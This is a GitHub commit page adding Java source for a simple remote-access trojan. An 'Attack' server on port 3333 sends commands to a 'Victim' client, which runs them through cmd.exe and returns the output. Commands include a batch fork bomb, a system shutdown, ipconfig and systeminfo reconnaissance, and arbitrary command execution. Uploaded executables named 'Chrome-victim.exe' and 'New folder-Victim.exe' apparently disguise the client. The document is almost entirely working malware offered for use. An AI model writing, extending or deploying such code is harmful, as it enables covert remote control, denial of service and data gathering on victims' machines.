Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
DhesiTheKing authored Dec 21, 2023
1 parent 37190e1 commit eda8247
Show file tree
Hide file tree
Showing 5 changed files with 171 additions and 109 deletions.
Binary file added APPS_PORT_3333/Chrome-victim.exe
Binary file not shown.
Binary file added APPS_PORT_3333/New folder-Victim.exe
Binary file not shown.
Binary file added APPS_PORT_3333/New text document-attacker.exe
Binary file not shown.
11 changes: 6 additions & 5 deletions Attack.java
Original file line number Diff line number Diff line change
@@ -1,25 +1,26 @@
package local.attack;
import java.net.*;
import java.io.*;
public class Attack {

//web_url : https://wallpapershome.com/images/wallpapers/sky-3840x2160-4k-hd-wallpaper-clouds-sunset-sunrise-water-blue-sea-589.jpg
public static void main(String[] args) throws Exception {
ServerSocket ss=new ServerSocket(3333);
Socket s=ss.accept();
System.out.println("----------ATTACKING COMMANDS----------");
System.out.println("----------ATTACKING----------");
System.out.println("1.'dos' [making the victim's system unavailable]");
System.out.println("2.'shut' [shutdown thw victim's system]");
System.out.println("----------INFORMAION GATHERING COMMANDS----------");
System.out.println("----------INFORMAION GATHERING----------");
System.out.println("1.'ip' [Gathering all details about the ip]");
System.out.println("2.'syspec' [Gathering all the System details]");
System.out.println("3.'open website' [Enter the URL of the website]");
System.out.println("4.'directory enumaration' ['dir`'+ terminal commonds]");
DataInputStream din=new DataInputStream(s.getInputStream());
DataOutputStream dout=new DataOutputStream(s.getOutputStream());
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
String vic="",att="";
while(!att.equals("stop")) {
att=br.readLine();
dout.writeUTF(att);
if(att.equals("dos")|| att.equals("shut") || att.equals("ip") || att.equals("syspec")) {
if(att.equals("dos")|| att.equals("shut") || att.equals("ip") || att.equals("syspec") || att.length()>5 || att.contains("dir") ) {
vic=din.readUTF();
System.out.println(vic);
}
Expand Down
269 changes: 165 additions & 104 deletions Victim.java
Original file line number Diff line number Diff line change
@@ -1,104 +1,165 @@
package local.attack;
import java.io.*;
import java.net.*;
import java.util.*;
public class Victim {

public static void main(String[] args) throws Exception{
Scanner in=new Scanner(System.in);
//System.out.println("ENTER IP ADDRESS: ");
//String ip=in.nextLine();
Socket s=new Socket("10.56.1.1",3333);
DataInputStream din=new DataInputStream(s.getInputStream());
DataOutputStream dout=new DataOutputStream(s.getOutputStream());
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
String att="",vic="";
while(!att.equals("stop")) {
att=din.readUTF();
if(att.equals("dos")) {
try {
FileOutputStream fout=new FileOutputStream("D:\\dos.bat");
String str="@echo off\n:top\nStartngoto top";
byte[] b=str.getBytes();
fout.write(b);
fout.close();
String[] cmd= {"cmd.exe","/C","Start","D:\\dos.bat"};
Process p=Runtime.getRuntime().exec(cmd);
vic="Success!";
dout.writeUTF(vic);
dout.flush();

}catch(Exception e){
vic="Failed to DOS!!";
dout.writeUTF(vic);
dout.flush();
}

}

if(att.equals("shut")) {
try {
FileOutputStream fout=new FileOutputStream("D:\\shut.bat");
String str="@echo off\nshutdown -s -t2";;
byte[] b=str.getBytes();
fout.write(b);
fout.close();
String[] cmd= {"cmd.exe","/C","Start","D:\\shut.bat"};
Process p=Runtime.getRuntime().exec(cmd);
vic="Success!";
dout.writeUTF(vic);
dout.flush();

}catch(Exception d){
vic="Failed to Shutdown!!";
dout.writeUTF(vic);
dout.flush();
}

}
if(att.equals("ip")) {
try{
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "ipconfig -all");
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line,ans="";
while (true) {
line = r.readLine();
if (line == null) { break; }
ans+=line;
ans+="\n";
}
dout.writeUTF(ans);
dout.flush();

}catch(Exception e) {
System.out.println("Failed..");
}
}
if(att.equals("syspec")) {
try{
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "systeminfo");
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line,ans="";
while (true) {
line = r.readLine();
if (line == null) { break; }
ans+=line;
ans+="\n";
}
dout.writeUTF(ans);
dout.flush();

}catch(Exception e) {
System.out.println("Failed..");
}
}

}//while loop end

}

}
import java.io.*;
import java.net.*;
import java.util.*;
import javax.swing.JOptionPane;
public class Victim {

public static void main(String[] args) throws Exception{
Scanner in=new Scanner(System.in);
String ip="";
ip=JOptionPane.showInputDialog("ENTER THE IP ADDRESS");
String str="";
int count=0;
Socket s=new Socket(ip,3333);
DataInputStream din=new DataInputStream(s.getInputStream());
DataOutputStream dout=new DataOutputStream(s.getOutputStream());
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
String att="",vic="";
while(!att.equals("stop")) {
att=din.readUTF();
if(att.equals("dos")) {
try {
FileOutputStream fout=new FileOutputStream("D:\\dos.bat");
String str1="@echo off\n:top\nStart\ngoto top";
byte[] b=str1.getBytes();
fout.write(b);
fout.close();
String[] cmd= {"cmd.exe","/C","Start","D:\\dos.bat"};
Process p=Runtime.getRuntime().exec(cmd);
vic="Success!";
dout.writeUTF(vic);
dout.flush();

}catch(Exception e){
vic="Failed to DOS!!";
dout.writeUTF(vic);
dout.flush();
}

}

if(att.equals("shut")) {
try {
String[] cmd= {"cmd.exe","/C","shutdown /s"};
Process p=Runtime.getRuntime().exec(cmd);
vic="Success!";
dout.writeUTF(vic);
dout.flush();

}catch(Exception d){
vic="Failed to Shutdown!!";
dout.writeUTF(vic);
dout.flush();
}

}
if(att.equals("ip")) {
try{
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "ipconfig -all");
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line,ans="";
while (true) {
line = r.readLine();
if (line == null) { break; }
ans+=line;
ans+="\n";
}
dout.writeUTF(ans);
dout.flush();

}catch(Exception e) {
vic="Failed ...";
dout.writeUTF(vic);
dout.flush();
}
}
if(att.equals("syspec")) {
try{
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "systeminfo");
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line,ans="";
while (true) {
line = r.readLine();
if (line == null) { break; }
ans+=line;
ans+="\n";
}
dout.writeUTF(ans);
dout.flush();

}catch(Exception e) {
vic="Failed ...";
dout.writeUTF(vic);
dout.flush();
}
}
if(att.length()>5 && !att.contains("dir")) {
try{
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "Start", att);
builder.redirectErrorStream(true);
Process p = builder.start();
vic="Success!";
dout.writeUTF(vic);
dout.flush();

}catch(Exception e) {
vic="Failed to Exploit review your code..";
dout.writeUTF(vic);
dout.flush();
}
}
if(att.contains("dir")) {

try{
String cmd="";
String[] arr=att.split("`");
str+=arr[1]+" ";
if(arr[1].equals("undo")) {
str="";
ProcessBuilder builder = new ProcessBuilder("cmd.exe" , "/C" , "echo undo");
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line,ans="";
while (true) {
line = r.readLine();
if (line == null) { break; }
ans+=line;
ans+="\n";
}
dout.writeUTF(ans);
dout.flush();
}
else {
ProcessBuilder builder = new ProcessBuilder("cmd.exe" , "/C" , str);
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line,ans="";
while (true) {
line = r.readLine();
if (line == null) { break; }
ans+=line;
ans+="\n";
}
dout.writeUTF(ans);
dout.flush();
}


}catch(Exception e) {
vic="Failed to Exploit review your code..";
dout.writeUTF(vic);
dout.flush();
}
}

}//while loop end

}

}

0 comments on commit eda8247

Please sign in to comment.